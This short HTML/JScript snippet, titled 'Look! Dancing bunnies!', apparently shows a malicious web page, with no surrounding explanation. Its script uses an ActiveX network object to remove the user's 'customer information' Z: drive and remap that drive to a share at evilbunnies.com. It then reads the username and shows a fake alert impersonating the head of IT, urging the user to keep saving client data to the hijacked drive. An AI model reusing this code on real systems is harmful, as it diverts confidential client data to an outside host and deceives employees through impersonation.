<head><title>Look! Dancing bunnies!</title></head>
    <img src="http://www.evilbunnies.com/picture.gif" width=100 height=100 />
var objNet = new ActiveXObject("WScript.Network");
objNet.RemoveNetworkDrive("Z:"); // remove the "customer information" drive
objNet.MapNetworkDrive("Z:", "\\evilbunnies.com\netdrive\"); // replace it with an Internet drive

var user = objNet.Username;

  setTimeout("alert('Oi! "+user+"! This is the head of IT, noticing that you're not doing work! Get back to work putting client data in the Z: drive, or I'll have your head!')", 1000);